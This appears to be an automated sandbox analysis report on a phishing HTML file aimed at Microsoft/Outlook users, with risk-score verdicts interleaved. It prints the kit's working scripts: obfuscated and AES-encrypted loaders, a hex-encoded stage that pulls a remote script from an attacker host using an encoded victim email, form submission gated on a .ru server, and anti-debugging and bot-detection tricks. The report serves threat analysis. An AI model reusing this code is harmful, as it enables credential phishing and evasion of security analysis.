Windows Analysis Report
vRecord__0064secs__warriorsheart.com.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://microsoft.com

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a malicious domain upon certain conditions. These behaviors are highly indicative of a malicious script, likely used for phishing or other malicious purposes."
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA0rzW9AeLMV2SZQ',
    'error-callback': uVaOxOndkV,
    callback: PgXFIttTdz,
});
function uVaOxOndkV() {
    turnstile.reset();
}
function PgXFIttTdz() {
    var unTTWBCuEr = document.getElementById("iTttSBReGV");
    unTTWBCuEr.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = '8Tru';
    var YTRVppZEXg = "../ji8e9FlBUHdth3B3iNptEc0Scx";
    fetch('https://yXSicvIvG3Tcc8eDzVKPxggGf99tcCZt03g9rUo9NniuFBNQvAh0OOvV.uyofiykrxf.ru/memxymqebyrphctIBZHJHNAERMLGRRBXYGBJYSLXWCZFEWUYNPCWIYKNBXJXVZDLWGCXYJHQHADKEVP', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(YTRVppZEXg, {
        method: "POST",
        body: new FormData(unTTWBCuEr)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        if(xLxnwDjfUD == false){
        location.reload();
        }
        }
        if(data['status'] == 'error'){
        window.location.replace('https://www.outlook.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://www.outlook.com');
    }
    })
    .catch(error => {
    window.location.replace('https://www.outlook.com');
    });
}

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and URLs further increases the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent."
}

if(atob("aHR0cHM6Ly9VSy5rY3pjeWx2anVidS5ydS94SkVvYjNWLw==") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiN1TWlZaklHelJ6IGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI3VNaVlqSUd6UnogaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI3VNaVlqSUd6UnogaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojdU1pWWpJR3pSeiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI3VNaVlqSUd6UnouY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMzBweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI3VNaVlqSUd6UnogLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiN1TWlZaklHelJ6IC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojdU1pWWpJR3pSeiAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiN1TWlZaklHelJ6IC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiN1TWlZaklHelJ6IC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojdU1pWWpJR3pSeiAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojdU1pWWpJR3pSei5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI3VNaVlqSUd6UnogLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiN1TWlZaklHelJ6ICNlT0lZSGZwTXNOIHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQp4THhud0RqZlVEID0gZmFsc2U7DQooZnVuY3Rpb24gWnpYdGtZTWhIaCgpIHsNCiAgICBsZXQgdUJEekxpa2pmbCA9IGZhbHNlOw0KICAgIGNvbnN0IFlid1VsaGtneGMgPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IHRvdHFOSUJDbWYgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAg

{
    "risk_score": 7,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code. While the script appears to be using legitimate cryptographic libraries, the overall behavior and lack of transparency raise significant security concerns."
}

    var TKwAqetFCULTfzKc = document.createElement("script");
TKwAqetFCULTfzKc.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");
document.head.append(TKwAqetFCULTfzKc);
TKwAqetFCULTfzKc.onload=function(){
var {a,b,c,d} = JSON.parse(atob("eyJhIjoiNHVYOHFaVXlhNm1NSGZVY2VwRzdhMmsyRFl3VmhONDI3Y1g3amR4SUJaMTZ4VjZxcG1TMzg3VFc3eXdXZDlWRk9xdTd2MEhvNHdJNTlJT2txUWpKYnpSZ0RDeStzb0VsWlhhWVNRU0d6dURrZ0k0ZnFuVDBpalc0UGpcLzdDZWwxSnhHQVJmN2MyaHk4ZlI4ditvanE5cFwvVVpzOGExRHRBdFJaTElyazBsdDNqdm9sZXNOY2FwYXI3VGgyUGJBcEd1am03dGNoQ0tOeGJBclNnbmtFNUNPemJSWENRXC9SQkxZTTFjVU1YUXpGaHdYWE1CNjFXRERtWjFsS1laZXQrcHh0Uk5TRVFJRmc0XC80aHVUOVdTRHg1SEVBc0E5ajdHdWhcLzBUSENvclNXdHhLb0dGaEFhcEpOWnVZb1Y2QVlNc3ZLNzNPQ0tlcHkzZ2hSbHFkTVV3S2JJTWFhWFVXemxrNU1vaDZkZzFsWjN3UU9BQURMYlhUWDF5OTRoa3lKWllFTTNaQkFpQWY5MHRJbVJNVXlvYk1Sd013N0JEWVNRM2FHQ1YycVNVVlIyZGViaTFta2ZZXC9MTDlUSlJDUk5jMGl0UXlGeVJrV1BiaFlxT3ViQ096eTE1djNJcFc3UVA5RkdaVStHUmdRRU12RGlqVEJRc3UzNWxDcDBvUkNOaTM0TktKZ1g3VDNRWkh4NmZaZTNycnU1SEhXYnJwME1kYTJpbmZ1Q2ZxVEJoc0c0aVwvTnkyNnFXMW5qalVtVitvRk1cL1lXZ2FSSHgxS3JyanhHYjA0YXlDejBtSkxmSzJmQW9PNDBRMGlQMTA4U3ViV2FBTnJUUUt0SktXTkpLdkZMOTVnbDNyaDh3MnhnSFBBUm14RmlPY0huXC9OQ0gwZ29zTEpwbFZ2d0diWTlVbnBnYjk1Tnl0aFFCZUw4VnNBOW4zYUVraUlkNVwvVGVLbG5paXUwUjRJOXVuc3lOd1wvMnVHbFJRejJXNGJHMTU2RFFwRlBlTU92T2thdnpzbExWUDQ2cGJjZ1JoMndvTG1FSjNJYkMxbHVvekxpNEFYV1dhWDVkWWlDZW1XMWFVPSIsImIiOiJlNjczZGZjYmI1ODE1MGQyZWM1ZjgxOTIyNWRmMjdhMyIsImMiOiJhYTRhOGJlMGMzMTJhNTgwZDAyZWE2OWM0ZDI2Y2I2OSIsImQiOiIzNzM2MzIzNjM5MzUzNzY2NjUzNTM3MzYzNDM3MzEzNzMzNjYzMTMxMzgzMDMzNjIzNzYxNjMzNDYxMzM2NTYyIn0="));
var gBtOepUjgTjDRHUk = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999});
UOiNXmpcUSeIGBCj = CryptoJS.AES.decrypt(a,gBtOepUjgTjDRHUk,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8);
UOiNXmpcUSeIGBCj = UOiNXmpcUSeIGBCj.replace(/SjuMZxJHitNiUWiE/g, butterbur);
document.write(UOiNXmpcUSeIGBCj);
}

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external domain. The combination of these behaviors suggests a high likelihood of malicious intent, potentially to prevent analysis or hide other malicious activities."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
xLxnwDjfUD = false;
(function ZzXtkYMhHh() {
    let uBDzLikjfl = false;
    const YbwUlhkgxc = 100;
    setInterval(function() {
        const totqNIBCmf = performance.now();
        debugger;
        const PlvUgWPDXM = performance.now();
        if (PlvUgWPDXM - totqNIBCmf > YbwUlhkgxc && !uBDzLikjfl) {
            xLxnwDjfUD = true;
            uBDzLikjfl = true;
            window.location.replace('https://www.outlook.com');
        }
    }, 100);
})();
    

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirection to a suspicious domain. The use of obfuscated code and the presence of a malicious-looking URL further increase the risk. Overall, this script exhibits a clear intent to perform malicious activities and should be considered a high-risk threat."
}

butterbur = '#bWljaGVsbGUuYXhtYWtlckB3YXJyaW9yc2hlYXJ0LmNvbQ==';

new Function(
  (() => {
    let dgRF = '68617774686f726e203d206068747470733a2f602b272f7061272b2274657262726f222b277468272b276572272b27732e636f272b606d2f7265733434602b27342e7068272b27703f322d36383734272b603734373037333361602b2732663266272b603434333734602b6064326536623633602b2737613633272b603739366337602b22363661373536222b273237272b2735326537272b273237272b2235326637383461222b27343536663632272b223333353632222b27662d627574272b22746572222b22627572223b0a646f63756d656e745b277772697465275d28223c736372697074207372633d2722202b2068617774686f726e202b2022273e3c5c2f7363726970743e22293b';
    let fNux = '';
    for (let UDJh = 0; UDJh < dgRF.length; UDJh += 2) {
      fNux += String.fromCharCode(parseInt(dgRF.substr(UDJh, 2), 16));
    }
    return fNux;
  })()
)();

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "brands": "unknown"
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
"contains_trigger_text": true,
"trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
"prominent_button_name": "United States English Microsoft Homepage",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": true,
"trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
"prominent_button_name": "United States English Microsoft Homepage",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}